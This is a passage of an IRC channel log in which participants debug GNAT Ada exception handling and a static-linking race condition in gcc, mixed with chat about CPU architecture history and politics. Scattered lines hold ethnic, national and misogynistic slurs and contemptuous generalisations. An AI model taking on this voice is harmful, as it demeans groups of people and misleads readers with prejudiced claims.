aarch64 from arm correctly. 1897122;1550278434;asciilifeform;they're as diff as x86 an' x64 1897123;1550278478;asciilifeform;lotsa subtle breakage, cuz the orig wasn't built by thinkin' folx and hence not designed to be 'stretched' 1897124;1550278581;asciilifeform;this might also explain why adacorpse Officially distributes arm7 gnat but not arm8 (64) 1897125;1550278588;asciilifeform;i.e. the latter is pre-alpha quality 1897126;1550278915;mircea_popescu;myeah. 1897127;1550279016;mircea_popescu;http://btcbase.org/log/2019-02-15#1897069 << keks. 1897128;1550279016;a111;Logged on 2019-02-15 20:02 diana_coman: darn, ofc there are TWO flags to set to the same thing i.e. one for bootstrapper and one for the resulting gnat 1897129;1550279367;*;asciilifeform wonders why arm64 even exists, not to mention displaced arm7, cuz afaik you can't actually ~buy~ an arm8 box with >4G of ram in it 1897130;1550279369;asciilifeform;for any price 1897131;1550279417;asciilifeform;iguess you get 64-bit arithmetics. 1897132;1550279421;asciilifeform;but that's pretty much all 1897133;1550279486;asciilifeform;( arm7 == last 32bit , arm8 == arm64 aka aarch64 in gnutardspeak ) 1897134;1550279550;mircea_popescu;yet as per http://btcbase.org/log/2019-02-06#1893295 ... 1897135;1550279550;a111;Logged on 2019-02-06 15:44 asciilifeform: mircea_popescu: there's not so much win from 64 on lappies where max ram e.g. 3GB. 1897136;1550279580;asciilifeform;mircea_popescu: thread was re mid-2000s lappies. ( i have moar recent ones, which have e.g. 32GB in'em etc ) 1897137;1550279582;*;mircea_popescu believes the tb ram arm is one of them http://btcbase.org/log/2019-02-01#1891303 1897138;1550279582;a111;Logged on 2019-02-01 02:08 asciilifeform: or the pumping stations ( unmarked on maps, cuz 'strategic', but quite visible from street ) 1897139;1550279605;mircea_popescu;asciilifeform point being, small ram 64 bit not particularly useful. 1897140;1550279613;asciilifeform;mircea_popescu: not even 'tb', but go an' try to find on market arm box of ~any~ description that eats ordinary socketed dimms 1897141;1550279632;asciilifeform;i found ~one~, chinese, for ~more~ than the cost of serious opteron with complete filling. 1897142;1550279634;mircea_popescu;right ? 1897143;1550279640;asciilifeform;it's outrageous 1897144;1550279652;asciilifeform;afaik nuffin keeps standard dimms from working with arm8, any of'em 1897145;1550279661;asciilifeform;the electricals are exactly same as for the soldered-down crap 1897146;1550279699;asciilifeform;mircea_popescu: i would not go so far as to say 'entirely useless', 2ce the bitness gets you 2ce the rsa speed for same clock. 1897147;1550279702;asciilifeform;but still frustrating. 1897148;1550280032;mircea_popescu;cursory familiarity with the state of the computing stack (and, implicitly, the utter ridiculousness of any wasp-remnant notions of "the public oppionion" and "wouldn't permit" etc) would have saved that white haired tard a lot of unplesantness down in ecuador embassy. 1897149;1550280066;mircea_popescu;because FUCKING OBVIOUSLY it dun work worth a shit nor does it do anything, practically speaking. and if it doesn't here, it doesn't re "education" or "politics" or "civil society" or what have you. 1897150;1550280221;asciilifeform;recall http://btcbase.org/log/2017-03-10#1624158 + http://btcbase.org/log/2017-10-02#1719717 1897151;1550280221;a111;Logged on 2017-03-10 14:33 asciilifeform: http://btcbase.org/log/2017-03-10#1624146 << alpha was already half-dead when hp swallowed compaq, in '02. iirc compaq shitburied it in '01 and sold all rights to intel, who proclaimed the arch now known as 'itanic' as its replacement. 1897152;1550280221;a111;Logged on 2017-10-02 19:29 mircea_popescu: o, speaking of "women in tech" : after thoroughly wrecking yahoo (eerily reminiscent of carly fiorina's "performance" at meanwhile disappeared compaq/hp), melissa meyer disappeared from view ; leaving verizon to pick up teh pieces. 1897153;1550280289;asciilifeform;usg.dept-of-microshit systematically exterminated all the sane archs in late '90s. arm was introduced (from pile of shit 'acorn' in uk) as an 'unprincipled exception' , for pnojeism, which -- try as one might -- dunwork so much on x86 w/ any battery anybody's yet devised 1897154;1550280312;asciilifeform;but as i undertand, arm is permitted to 'just barely work', it Would Not Do (tm) for it to compete with intelism on heavy irons , somehow 1897155;1550280367;asciilifeform;( leaving aside the fact that it is a shit arch on multiple levels of design, much like x86, only real diff is that it dun come with 35 yrs of legacy crapola ) 1897156;1550280454;asciilifeform;for history aficionados, the opening shot of that slaughter was when sgi was usgized and permitted to swallow cray, and shortly after proclaimed that 'crays' henceforth would be made of pentiums 1897157;1550280471;asciilifeform;promptly folded, after pumping remaining moneys into intel pocket 1897158;1550280489;asciilifeform;this killed the (very reasonable) 64bit mips. 1897159;1550280517;asciilifeform;then they proceeded to wipe out alpha , then hp ( also quite reasonable 'pa-risc' 64-bit irons, i had one ) . 1897160;1550280532;asciilifeform;all to try an' prop up the wintel nonsense hegemony. 1897161;1550280578;asciilifeform;note that at the time of death, each and erry one of these archs wiped the floor with intel's offering, esp. per-watt 1897162;1550280663;asciilifeform;usg as early as in 1980s very muchly disliked the existence of multi-vendor high-perf cpu. was too hard to keep from being sold to untermenschen, see. 1897163;1550280896;asciilifeform;phunnily enuff, there is record that chairman of nsa filed an Official protest during the destruction of orig. cray co. 1897164;1550280918;asciilifeform;( at the time nsa was single largest operator of crays ) 1897165;1550280941;asciilifeform;phat lotta good it did, tho. 1897166;1550281032;asciilifeform;idjit squid swallows own tentacle. 1897167;1550281210;*;asciilifeform brb,meat 1897168;1550284197;mircea_popescu;asciilifeform see, the cardboard "entrepreneurs" don't exist in the us like in the orcistans, as named individuals. they're named... legal persons. 1897169;1550284250;mircea_popescu;but everything works exacrtly the same outside of this one detail, specifically as in http://trilema.com/2018/you-know-who-the-best-us-president-was-how-about-andrew-johnson/#selection-317.267-317.1139 1897170;1550284324;mircea_popescu;so yeah, much like retarded russkis go "oh, we too businessmen, gave $dork state income, now he can buy suit" ( http://btcbase.org/log/2018-03-21#1788430 finest example), the ustards are all "oh, gave computing to wintel, can has tech!!!" 1897171;1550284324;a111;Logged on 2018-03-21 16:44 mircea_popescu: "Like a bad ass she is, she proved to be wise beyond her years by standing head and shoulders (Or is it ass-tall) with the boys." doesn't even INTEND irony, you realise. 1897172;1550284341;mircea_popescu;meanwhile -- no they don't have any tech, much like the zimbuzz dun have music. 1897173;1550294938;mircea_popescu;hey ave1 1897174;1550294962;ave1;goodmorning, I was digesting te logs 1897175;1550294998;ave1;and read all the gnat problems 1897176;1550295759;ave1;I was working on getting a cuntoo up (which is going slow, I need to relearn to build a kernel, this used to be a lot easier 20 years ago) 1897177;1550295984;ave1;I'll park that and start running the gnat build script. 1897178;1550296182;mircea_popescu;ave1 did you ever run a sjlj version ? 1897179;1550296247;ave1;not yet, I'm now trying to get the build up and running 1897180;1550296325;mircea_popescu;ah. ok. 1897181;1550296354;mircea_popescu;well, if you don't have experience with it or anything, it's not urgent -- can continue with cuntoo, can switch to this, either way. 1897182;1550302024;ave1;diana_coman, re http://btcbase.org/log/2019-02-15#1896922, all the links worked this morning, could you tell me which one failed for you? 1897183;1550302024;a111;Logged on 2019-02-15 16:12 diana_coman: hm, full replica might require I upload somewhere the tarballs too since at least 1 link was broken ; anyways, it's with http://ave1.org/2018/building-gnat-on-musl-now-always-static/ + taken out the download script for ada2016 because broken link + added GCC_CONFFLAGS="--enable-sjlj-exceptions" to extraconfig.sh ; set path to point to existing and working adacore 2016 gnat + put all tarballs in their place 1897184;1550302165;ave1;O wait, I tried with: http://ave1.org/2018/building-gnat-on-musl-no-more-usrincludex86_64-linux-gnu/ 1897185;1550304775;diana_coman;ave1, it was the link that downloaded the gcc src and stuff for adacore2016 ; after that first fail I just copied my own stuff into tarballs/ , packed properly and never really bothered with the rest i.e. it builds all offline now anyway 1897186;1550305087;diana_coman;update re builds: it built fine with --enable-sjlj-exceptions in place, checked it in the log and yes, it's set; but the result still seems to be build ada code with zcx in fact (i.e. my test code with tasks is STILL hung waiting for them to abort) and if I specify --rts=sjlj to gprbuild it complains that there is no native compiler for ada and so can't do anything; ftr I compared the dirs of my adacore install and it has this specific dir 1897187;1550305087;diana_coman; rts-sjlj with its own adainclude/ and so on; so I am back to my previous obv that this flag per se is apparently not enough 1897188;1550305175;diana_coman;when I say "it built" above I mean specifically those versions: http://ave1.org/2018/building-gnat-on-musl-no-more-usrincludex86_64-linux-gnu/ and http://ave1.org/2018/building-gnat-on-musl-now-with-partial-and-parallel-build-support/ i.e. both static only and previous 1897189;1550310264;ave1;diana_coman, in system-linux-*.ads (in gcc/ada directory) you'll find the line: ZCX_By_Default : constant Boolean := False; 1897190;1550310318;ave1;I'm currenlty building with it set to False, but it is True in the distributed files 1897191;1550311626;bvt;hello. ave1: doesn't makefile.in in gcc-interface tweak it with sed to the necessary value? 1897192;1550313376;diana_coman;ave1, ah, thanks! I'll set it to false and try again then 1897193;1550314774;spyked;http://btcbase.org/log/2019-02-16#1897122 <-- the armv7-armv8 gap is even bigger than x86-x64. armv8 is an entirely new arch, also has 32-bit mode (called aarch32), but that's completely backward incompatible with armv7 1897194;1550314774;a111;Logged on 2019-02-16 00:53 asciilifeform: they're as diff as x86 an' x64 1897195;1550319382;asciilifeform;diana_coman: could plz tar up that built gnat and post ? i have a suspicion ( to get ljmp with old gnat, i had to set include paths on my box ) 1897196;1550319416;*;asciilifeform bbl in 2-3h 1897197;1550334499;mircea_popescu;http://btcbase.org/log/2019-02-16#1897191 << it should, yes. 1897198;1550334499;a111;Logged on 2019-02-16 10:07 bvt: hello. ave1: doesn't makefile.in in gcc-interface tweak it with sed to the necessary value? 1897199;1550335388;diana_coman;oh hey, apparently ave1's find was spot on! 1897200;1550335450;mircea_popescu;nice. 1897201;1550335481;diana_coman;after all the struggle I'm still looking suspiciously at it, lol 1897202;1550335987;asciilifeform;guten morgen diana_coman , mircea_popescu , et al 1897203;1550335992;asciilifeform;diana_coman: oh hey it runs ? 1897204;1550335998;BingoBoingo;Buenas tardes asciilifeform 1897205;1550336094;mircea_popescu;diana_coman does it actually produce sjlj code ? 1897206;1550336167;asciilifeform;http://btcbase.org/log/2019-02-16#1897170 << they have both types ( bezos et al ) neh 1897207;1550336167;a111;Logged on 2019-02-16 02:32 mircea_popescu: so yeah, much like retarded russkis go "oh, we too businessmen, gave $dork state income, now he can buy suit" ( http://btcbase.org/log/2018-03-21#1788430 finest example), the ustards are all "oh, gave computing to wintel, can has tech!!!" 1897208;1550336179;diana_coman;asciilifeform, how did you vivisect that pair of binaries? I'd rather do it to see what came out since otherwise I have only this "oh, now it DOES kill tasks!" 1897209;1550336212;asciilifeform;diana_coman: ida, but objdump -d proc.o will do the job likewise ( in slightly gnarlier format ) 1897210;1550336234;mircea_popescu;BingoBoingo do you by any chance recall the princeton "trained psychologist" on okcupid who couldn't spell but was nevertheless doing diagnosing over the phone ? 1897211;1550336261;BingoBoingo;mircea_popescu: I'll have to dig, but it sounds very familiar 1897212;1550336269;asciilifeform;diana_coman: if they dun abort and you want another detailed vivisect, feel free to post'em, i'ma rip'em open after tea 1897213;1550336285;asciilifeform;( or even if they work ) 1897214;1550336318;mircea_popescu;asciilifeform i think she means to learn how it's done. 1897215;1550336376;asciilifeform;mircea_popescu: i hesitate to addict folx to ida, it's a gnarly ball of proprietary liquishit, and needs a toilet box with 'wine' to run etc 1897216;1550336421;asciilifeform;( 1 of those things for which there aint a complete substitute, sadly, if yer doing serious reversing ) 1897217;1550336437;mircea_popescu;diana_coman it's of course cheaper to just ship the object files to him 1897218;1550336520;diana_coman;mircea_popescu yes + I must say I like the idea of "rip'em open after tea" - sounds great; but other than that: I'll try objdump too since after this gnat-adventure I'd rather have some way to look inside it 1897219;1550336590;asciilifeform;diana_coman: if , like asciilifeform , you grew up on intel asm syntax, you can objdump -M intel -d proc.o 1897220;1550336652;asciilifeform;diana_coman: are we sawing'em open because it dun actually abort, or simply to compare with old gnat's sjlj , tho ? 1897221;1550336682;*;asciilifeform brb,tea 1897222;1550336693;diana_coman;asciilifeform, they abort; we are sawing them open because I don't trust it anymore re "what does it actually do exactly" 1897223;1550336714;diana_coman;i.e I want to see what did it do 1897224;1550336969;mircea_popescu;it has lied before... 1897225;1550337002;BingoBoingo;mircea_popescu: http://trilema.com/wp-content/uploads/2016/01/how-do-you-spel-illiterate.png linked from http://trilema.com/2017/what-are-you-being-distracted-from/#selection-387.0-411.1 ??? 1897226;1550337020;mircea_popescu;BingoBoingo found it http://trilema.com/2016/usg-in-btc-a-history-of-constant-failure/#selection-39.0-39.51 << 1897227;1550337028;mircea_popescu;o damn. 1897228;1550337054;mircea_popescu;she was from harvard not princeton! my bad. 1897229;1550337065;BingoBoingo;AHA, the perils of searching for keywords so strongly associated with constant failure 1897230;1550337076;mircea_popescu;you know ? but ty! 1897231;1550337095;BingoBoingo;Princevard, harMIT, they all blend together 1897232;1550337276;diana_coman;asciilifeform, here it is: ossasepia.com/available_resources/sjlj_testtasks.tar.gz 1897233;1550337330;diana_coman;I added a delay in there before the final check of tasks 1897234;1550339607;asciilifeform;diana_coman et al : http://www.loper-os.org/pub/misc/feb_16_tasks_o.html 1897235;1550339654;asciilifeform;^ near as i can tell, it uses exactly same scheme as the old gnat's sjlj-mode handlers 1897236;1550339902;asciilifeform;nao this is not a complete answr to 'what does it do, EXACTLY' cuz that also ropes in the ~2MB of standard lib 1897237;1550339935;asciilifeform;but the proggy .o seems to be exactly as expected ( if diana_coman has time, can try with the old gnat and see if in fact bitwise-same or not ) 1897238;1550340033;*;asciilifeform still wakin' up, misread http://btcbase.org/log/2019-02-16#1897225 as 'illiterature' 1897239;1550340033;a111;Logged on 2019-02-16 17:10 BingoBoingo: mircea_popescu: http://trilema.com/wp-content/uploads/2016/01/how-do-you-spel-illiterate.png linked from http://trilema.com/2017/what-are-you-being-distracted-from/#selection-387.0-411.1 ??? 1897240;1550340124;mircea_popescu;just about. 1897241;1550340157;mircea_popescu;the "textbooks" this generation of mostly female, mostly useless college kids don't read are very fucking different from the textbooks we didn't read twenty years ago. 1897242;1550340175;*;asciilifeform still got good # of the latter 1897243;1550340179;mircea_popescu;as per the "this is the shop where we don't have talapia. the shop where they don't have salmon is down the street" 1897244;1550340503;asciilifeform;incidentally, re the posted htm, no yer box aint broken, there really aint any clickable links therein (why not? in what's undisputably world's best disasmer ? cuz world's best disasmer is actually not so great , compared to what's obviously possible ) 1897245;1550340587;asciilifeform;( see also e.g. http://btcbase.org/log/2016-04-22#1455082 thrd ) 1897246;1550340587;a111;Logged on 2016-04-22 01:10 asciilifeform: ida is a particularly interesting case because it is a TOTAL monopoly 1897247;1550340815;asciilifeform;( to add insult to injury, erry time i post 1 of these, i gotta manually switch font to monospace and remove the winturd line endings, cuz the joys of closedsores proggy ) 1897248;1550341314;asciilifeform;http://www.loper-os.org/pub/misc/feb_16_adatests_o.html << for utter thread-completeness, the main unit. 1897249;1550341389;asciilifeform;diana_coman et al : plox to lemme know if yer interested in magnifying glass treatment of some particular aspect. 1897250;1550341513;asciilifeform;.text:00000000000005B8 call tasks__abort_tasks 1897251;1550341517;asciilifeform;^ the magic moment. 1897252;1550341648;asciilifeform;^ btw diana_coman if you build with -d , the var_xxx liquishit can be made into varnames. 1897253;1550341676;asciilifeform;( ida eats 'dwarf' debugolade ) 1897254;1550341772;asciilifeform;phunphakt : ada std includes a pragma that manually throws a string for bin auditor to read, in selected spot. 1897255;1550341785;asciilifeform;( i dun currently use, but it's definitely going into the final revs of ffa ) 1897256;1550342335;feedbot;http://bimbo.club/2019/02/philosophical-transactions-for-the-months-of-july-august-and-september-1716-part-v/ << Bimbo.Club -- Philosophical Transactions. For the months of July, August and September, 1716. - Part V. 1897257;1550342427;asciilifeform;http://btcbase.org/log/2019-02-16#1897225 << the former link eggogs, but i think this is by design, on acct of mircea_popescu's anti-hotlinker pill 1897258;1550342427;a111;Logged on 2019-02-16 17:10 BingoBoingo: mircea_popescu: http://trilema.com/wp-content/uploads/2016/01/how-do-you-spel-illiterate.png linked from http://trilema.com/2017/what-are-you-being-distracted-from/#selection-387.0-411.1 ??? 1897259;1550342688;mircea_popescu;asciilifeform shouldn't eggog, should redirect you to explainy. 1897260;1550342712;asciilifeform;mircea_popescu: seems to redirect to random article 1897261;1550342720;asciilifeform;( try it, by clicking from phf's log ) 1897262;1550342994;mircea_popescu;well, i did what the article proposes, set my referrer to trilema permanently, so i always see trilema pics. 1897263;1550343199;mircea_popescu;asciilifeform check it out, my htaccess got fucked meanwhile. 1897264;1550343203;mircea_popescu;should be fixed now. 1897265;1550343258;asciilifeform;loads via the article, as intended 1897266;1550343959;mircea_popescu;yeah, but if you try it solo should take you to http://trilema.com/2019/trilema-images-no-longer-showing/ 1897267;1550343963;mircea_popescu;not to a random article. 1897268;1550343986;asciilifeform;nao worx 1897269;1550345754;diana_coman;asciilifeform, thank you! and yes, I know it's not enough to know what it does exactly but it's still useful. 1897270;1550345762;asciilifeform;yw diana_coman 1897271;1550346417;feedbot;http://trilema.com/2019/get-lost-dumbo/ << Trilema -- Get lost, dumbo! 1897272;1550347757;mircea_popescu;asciilifeform http://p.bvulpes.com/pastes/o3YKv/?raw=true 1897273;1550350116;asciilifeform;mircea_popescu: got it ( and iirc was linked recently in trilema ) 1897274;1550350203;*;asciilifeform bbl, winching xray box onto pedestal and etc 1897275;1550356346;asciilifeform;http://trilema.com/2019/get-lost-dumbo/#selection-1777.110-1777.165 << wat's with all the 'engaged' chix still hanging on fatlife, gotta wonder 1897276;1550356599;mircea_popescu;they lie. part and parcel of http://trilema.com/2017/the-boundless-burden/ is that she ain't ever gonna be as engaged as you think she is, nor as on fetlife as you think she is, nor etc. 1897277;1550356875;bvt;http://btcbase.org/log/2019-02-12#1895598 << i'd like to briefly report on this: at this point i'm sure that there is a race condition. i'll do a post tomorrow morning on it, but short summary is 1897278;1550356875;a111;Logged on 2019-02-12 23:36 mircea_popescu: but seems he ALSO found a race condition in the handlers ? 1897279;1550356883;bvt;unwinding stack for exceptions requires taking locks https://gcc.gnu.org/git/?p=gcc.git;a=blob;f=libgcc/unwind-dw2-fde.c;h=24b4ecee68c17e1701c4482580e449b03a4e6fe9;hb=HEAD#l1046 1897280;1550356896;bvt;which is broken with static linking due to usual 'creativeness' of gnu folx https://gcc.gnu.org/git/?p=gcc.git;a=blob;f=libgcc/gthr-posix.h;h=88cbc23937ec20b15b35c5adb7f9983282c6f084;hb=HEAD#l247 1897281;1550356909;mircea_popescu;cool. 1897282;1550356917;bvt;http://bvt-trace.net/src/test_task_exceptions.tgz - test source for those who want to test. to be run as 'while true; do echo -n .; ./adatests >/dev/null || break; done' -- should not take too long to have it segfault. 1897283;1550356943;bvt;(still tested only with gnat2017, but this is a different story; i see no reason to believe that ave1gnat does not have the same issue) 1897284;1550356955;mircea_popescu;me either. 1897285;1550356999;bvt;i.e. with static linking, all locks are compiled into noops. 1897286;1550357111;bvt;i still have no solution for this, afaik musl authors solved the problem for fortran and c++, but gnat seems to lack equivalent knob 1897287;1550357224;mircea_popescu;how did they solve it for c++ ? 1897288;1550357549;bvt;they disabled weak symbols for c++/fortran components, http://port70.net/~nsz/musl/gcc-5.3.0/0004-gthr.patch 1897289;1550357685;bvt;however i don't understand if this is possible only to achieve only for gnat components, and when i do it globally, i get 'undefined symbol' when linking with libgcc 1897290;1550361452;asciilifeform;bvt: compiled into noops << where ? in stdlib ? ( or can point in http://btcbase.org/log/2019-02-16#1897234 ?? ) 1897291;1550361452;a111;Logged on 2019-02-16 17:53 asciilifeform: diana_coman et al : http://www.loper-os.org/pub/misc/feb_16_tasks_o.html 1897292;1550361519;*;asciilifeform suspects this is a gcc5ism 1897293;1550361740;asciilifeform;bvt: your posted tester has the actual abort commented out ( otherwise seems identical to diana_coman's ? ) 1897294;1550363341;feedbot;http://qntra.net/2019/02/spain-relitigating-civil-war-now-that-losers-hold-government/ << Qntra -- Spain Relitigating Civil War Now That Losers Hold Government 1897295;1550363418;BingoBoingo;In other news, odometer on my meat just rolled over 1897296;1550370906;asciilifeform;happy bd BingoBoingo ! 1897297;1550371506;asciilifeform;in other noose, instrument pr0n : http://www.loper-os.org/pub/misc/mx20/panel.jpg http://www.loper-os.org/pub/misc/mx20/inside1.jpg http://www.loper-os.org/pub/misc/mx20/achtung.jpg http://www.loper-os.org/pub/misc/mx20/inside2.jpg 1897298;1550371788;asciilifeform;beryllium muzzle of the 'gun' is center top of 2nd photo. auto-exposure ionization gauge is on bottom of 4th. 1897299;1550371833;asciilifeform;very solid 'vhs america' feel to the thing, ~70kg of pb. 1897300;1550375760;BingoBoingo;asciilifeform: ty, and ty for the porn 1897301;1550376897;mircea_popescu;BingoBoingo wait, you're just 30 ?! 1897302;1550377706;BingoBoingo;mircea_popescu: 33 1897303;1550377719;BingoBoingo;rolled over on the small digit 1897304;1550377721;mircea_popescu;so... 1897305;1550377739;mircea_popescu;btw : Franco is presently interned << interned means someone's in jail. interred means someone's in the earth. 1897306;1550377765;BingoBoingo;fxd 1897307;1550378144;mircea_popescu;also possibry teh tin women reference too obscure 1897308;1550378713;BingoBoingo;I'll keep the tin women hasn't been meme'd hard enough in mind in the future 1897309;1550378982;mircea_popescu;maybe just link it ; but even so i'm nopt sure what "uch offers and promises none of these cities would abide the tin woman passing his dick pic around to all her friends that aren't him" means. 1897310;1550379039;asciilifeform;is franco even mummified ? ( or is not caught up to ru 'high tech' !11 ) 1897311;1550379057;mircea_popescu;nah. 1897312;1550379077;mircea_popescu;it's been 50 years, by now it's just some specially-designated earth. 1897313;1550379078;asciilifeform;( phunphakt, the lenin mummificator maintenance folx are still inbiz ) 1897314;1550379146;asciilifeform;would be interesting if stalin were dug up, he was given same process but 0 maintenance since mid-50s 1897315;1550379151;asciilifeform;to compare. 1897316;1550379178;asciilifeform;( hrusch had him buried, coupla steps away from mausoleum back door ) 1897317;1550379450;*;asciilifeform still not fully made sense of franco -- d00d was 'fuhrer' by sheer accident, after mola's plane crash , and possibly only won war cuz other side resembled gavin & co, 9000 rando 'hasta y per siempre' derpfactions 1897318;1550379534;*;asciilifeform would like to dig up the worx of the http://btcbase.org/log/2014-01-16#446901 fella, but seems like the only surviving copy is in madrid national indianajoneswarehouse 1897319;1550379534;a111;Logged on 2014-01-16 04:40 asciilifeform: "Sewers caused all our troubles. The masses of this country are not like your Americans, nor even like the British. They are slave stock. They are good for nothing but slaves and only when they are used as slaves are they happy. But we, the decent people, made the mistake of giving them modern housing in the cities where we have our factories. We put sewers in these cities, sewers which extend right down to the 1897320;1550379875;mircea_popescu;imo franco very much like maduro. i dunno if you've looked at dood much, he's 100% ranchero guy, would be way the fuck happier raising cattle, maybe at the most driving a truck. but he's stuck with these idiots. 1897321;1550379880;mircea_popescu;~same deal with franco. 1897322;1550381236;mircea_popescu;asciilifeform how are you with osha btw :D 1897323;1550382218;asciilifeform;!#s osha and vandal 1897324;1550382218;a111;0 results for "osha and vandal", http://btcbase.org/log-search?q=osha%20and%20vandal 1897325;1550382222;asciilifeform;hrm. 1897326;1550382233;asciilifeform;!#s hard hat mack 1897327;1550382234;a111;3 results for "hard hat mack", http://btcbase.org/log-search?q=hard%20hat%20mack 1897328;1550382241;asciilifeform;^ see also. 1897329;1550382334;asciilifeform;http://btcbase.org/log/2014-02-19#516664 << 1897330;1550382334;a111;Logged on 2014-02-19 15:51 asciilifeform: brother and i played this on our 'Iskra' (xt clone) and combed three different dictionaries to learn what the fuck an osha is 1897331;1550382447;mircea_popescu;lol 1897332;1550406425;feedbot;http://bvt-trace.net/2019/02/gnat-zero-cost-exceptions-and-asynchronous-task-aborting-part-2/ << bvt's backtrace -- GNAT Zero Cost Exceptions and Asynchronous Task Aborting. Part 2. 1897333;1550407862;diana_coman;bvt, interesting; is that gcc5-specific though? 1897334;1550408388;bvt;i don't think it gcc5-specific, the patch against this problem that i've seen was written for gcc 4.8 1897335;1550409329;diana_coman;hmm, now one wonders if the patch made it into gcc 4.9 or not 1897336;1550409400;mircea_popescu;meanwhile in spamlulz, the great ukrainian clinic of surogate medicine drama : http://p.bvulpes.com/pastes/BrTQl/?raw=true 1897337;1550409435;mircea_popescu;(as reported by diddled buyers of biotexcom organization of reproductive medicine) 1897338;1550409629;bvt;diana_coman: it did not, as it was a clear hack to just make things work http://bvt-trace.net/src/gthr-disable-weak.diff 1897339;1550409649;mircea_popescu;bvt "Before going into the detail" << that "detail" never takes an article, either definite or indefinite, for some reason to do with english being weird. 1897340;1550409864;mircea_popescu;bvt --eh-frame-hdr << how much less probable does it make it ? (ie, there's a bunch of old reported stash smashing bugs in gcc, such http://btcbase.org/log/2019-02-16#1897096 as from yest), and --eh-frame-hdr protects the stack from being thus corrupted. 1897341;1550409864;a111;Logged on 2019-02-16 00:31 mircea_popescu: http://archive.is/x8D5k << apparently they STILL have the issue in gcc 8. 1897342;1550409898;mircea_popescu;ie, if it makes it 100% less probable, "disappear entirely", then it's maybe the same thing ? and if not... could actually be two separate issues ? 1897343;1550410063;bvt;it goes from crashing once in 3-5 runs to crashing once in approx 1000; however i've also seen deadlocks, which may be worse stuff to deal with than an honest crash. 1897344;1550410148;mircea_popescu;hmm. 1897345;1550410169;mircea_popescu;there are in fact two different issues there, aren't there. 1897346;1550410213;mircea_popescu;incidentally, the http://btcbase.org/log/2019-02-16#1897098 seems an exact from-field description of the higher level http://bvt-trace.net/2019/02/gnat-zero-cost-exceptions-and-asynchronous-task-aborting-part-2/#selection-139.335-139.443 problem, doesn't it. 1897347;1550410213;a111;Logged on 2019-02-16 00:32 mircea_popescu: "The issue is that the code generated for __builtin_longjmp reads a value for x29 (the frame pointer) from the jmp_buf, but the code generated for __builtin_setjmp doesn't actually write x29 to the jmp_buf, leading to corruption of x29 when a longjmp occurs. 1897348;1550410289;bvt;maybe there are two similar issues that are both 'cured' by switching to dynamic linking, but currently i don't think so. i'm using zcx runtime for these tests. 1897349;1550410320;mircea_popescu;around gcc5 times (early 2016) binutils were verschlimmbessert with support of new relocations <<< aaahahahahaha. 1897350;1550410465;mircea_popescu;"they were seriously improved" 1897351;1550410470;mircea_popescu;that's a seriously great coinage. 1897352;1550410502;mircea_popescu;bvt would you say "they were seriously improved" or "gravely improved" ? 1897353;1550410510;mircea_popescu;or actually, "they were most greviously improved" 1897354;1550410582;bvt;improved beyond repair? 1897355;1550410591;asciilifeform;poetteringed 1897356;1550410670;mircea_popescu;it's fucking beautiful. ^ is why german kicks so much ass, there's just no fucking shortage of poetry in it. 1897357;1550410698;mircea_popescu;asciilifeform diana_coman can either of you package a bin for his bootstrap privately ? 1897358;1550410728;mircea_popescu;no need to sign it, just encrypt it to him, so he's not stuck going to spamforge.barf/virusplox.htm.php 1897359;1550410781;asciilifeform;iirc i uploaded a signed build... cant seem to find where grr 1897360;1550410788;mircea_popescu;kk 1897361;1550410789;asciilifeform;will bake new one 1897362;1550410803;mircea_popescu;!!rated bvt 1897363;1550410803;deedbot;mircea_popescu has not rated bvt. 1897364;1550410859;mircea_popescu;!!rate bvt 2 http://bvt-trace.net/2019/02/gnat-zero-cost-exceptions-and-asynchronous-task-aborting-part-2/#selection-171.346-171.363 1897365;1550410862;deedbot;Get your OTP: http://p.bvulpes.com/pastes/qWVuC/?raw=true 1897366;1550410995;mircea_popescu;it's such a fucking pleasure to get up in the morning and get to the logs... 1897367;1550411070;bvt;thanks! 1897368;1550411242;diana_coman;I also tend to remember asciilifeform had at some point a signed build; anyway, if it's still needed I can pack ave1's gnat, yes; possibly he'd need both the "static-only" (i.e. latest version) and some previous version 1897369;1550411434;bvt;static version should be fine. then would also try it on cuntoo (have it running, the genesis signature still does not match). 1897370;1550412105;mircea_popescu;bvt dump the dir for trinque anyway, maybe it helps him. nobody suffered from too much data yet. 1897371;1550412180;mircea_popescu;open source versioning system : verschlimmbessert, verfluchtbessert... 1897372;1550412476;mircea_popescu;"/* ??? Glibc has for a while now exported __register_frame_info and __deregister_frame_info. If we call __register_frame_info_bases from crtbegin (wherein it is declared weak), and this object does not get pulled from libgcc.a for other reasons, then the invocation of __deregister_frame_info will be resolved from glibc. Since the registration did not happen there, we'll die. Therefore, declare a new deregistration entry poi 1897373;1550412476;mircea_popescu;nt that does the exact same thing, but will resolve to the same library as implements __register_frame_info_bases. */ 1897374;1550412476;mircea_popescu;" 1897375;1550412493;mircea_popescu;reading gnu code, always good for a facepalm. 1897376;1550412515;asciilifeform;http://btcbase.org/log/2018-05-15#1813753 << bvt et al 1897377;1550412515;a111;Logged on 2018-05-15 21:38 asciilifeform: ok, apol. for log clutter : 1897378;1550412549;asciilifeform;^ ave1 gnat mirrored , circa may 15 '18 1897379;1550412601;mircea_popescu;ty alfie. 1897380;1550412602;asciilifeform;see linked thrd for what's what. 1897381;1550412605;asciilifeform;np mircea_popescu 1897382;1550412657;mircea_popescu;now in other lulz, check this out : http://archive.is/89adR#selection-9.9948-9.10055 "This is a special mix of insertion sort and heap sort, optimized for the data sets that actually occur." 1897383;1550412707;asciilifeform;holyfuq the opensores kunstkammer 1897384;1550412709;mircea_popescu;with a (unproven) claim for complexity cap no less. 1897385;1550412730;mircea_popescu;which doesn't seem right to me, either, but it might be built by induction from actual datasets, nfi. 1897386;1550412734;asciilifeform;'proof dun fit in the margin' lol 1897387;1550412740;mircea_popescu;right ? 1897388;1550412749;asciilifeform;mircea_popescu: it's prolly built by thumbsuction 1897389;1550412771;mircea_popescu;i also find caps always truthier if you have log in there somewhere! 1897390;1550412823;bvt;thanks asciilifeform, downloading 1897391;1550412882;mircea_popescu;asciilifeform one of the larger, more impressive books in my parents' library was "welt der kunst". i couldn't read german, but mom explained it's "the world of art" so it populated my childish immagination for a full decade, until old enough to read it. by that time it disappointed -- not that anything could have lived to heights a kid might build in mind over years. 1897392;1550412883;bvt;trinque: genesis (does not verify) from successful cuntoo deployment: http://bvt-trace.net/src/genesis-14.02.2019.vpatch 1897393;1550412918;asciilifeform;mircea_popescu: aaah see on my planet kunstkammer is specifically peter's, with the 2headed foeti etc 1897394;1550412925;mircea_popescu;yes yes, it is. 1897395;1550412962;mircea_popescu;"curio cabinet" approx. but kunst is art, reminded me of teh whole thing, because guess what ? we all grew up with this idea 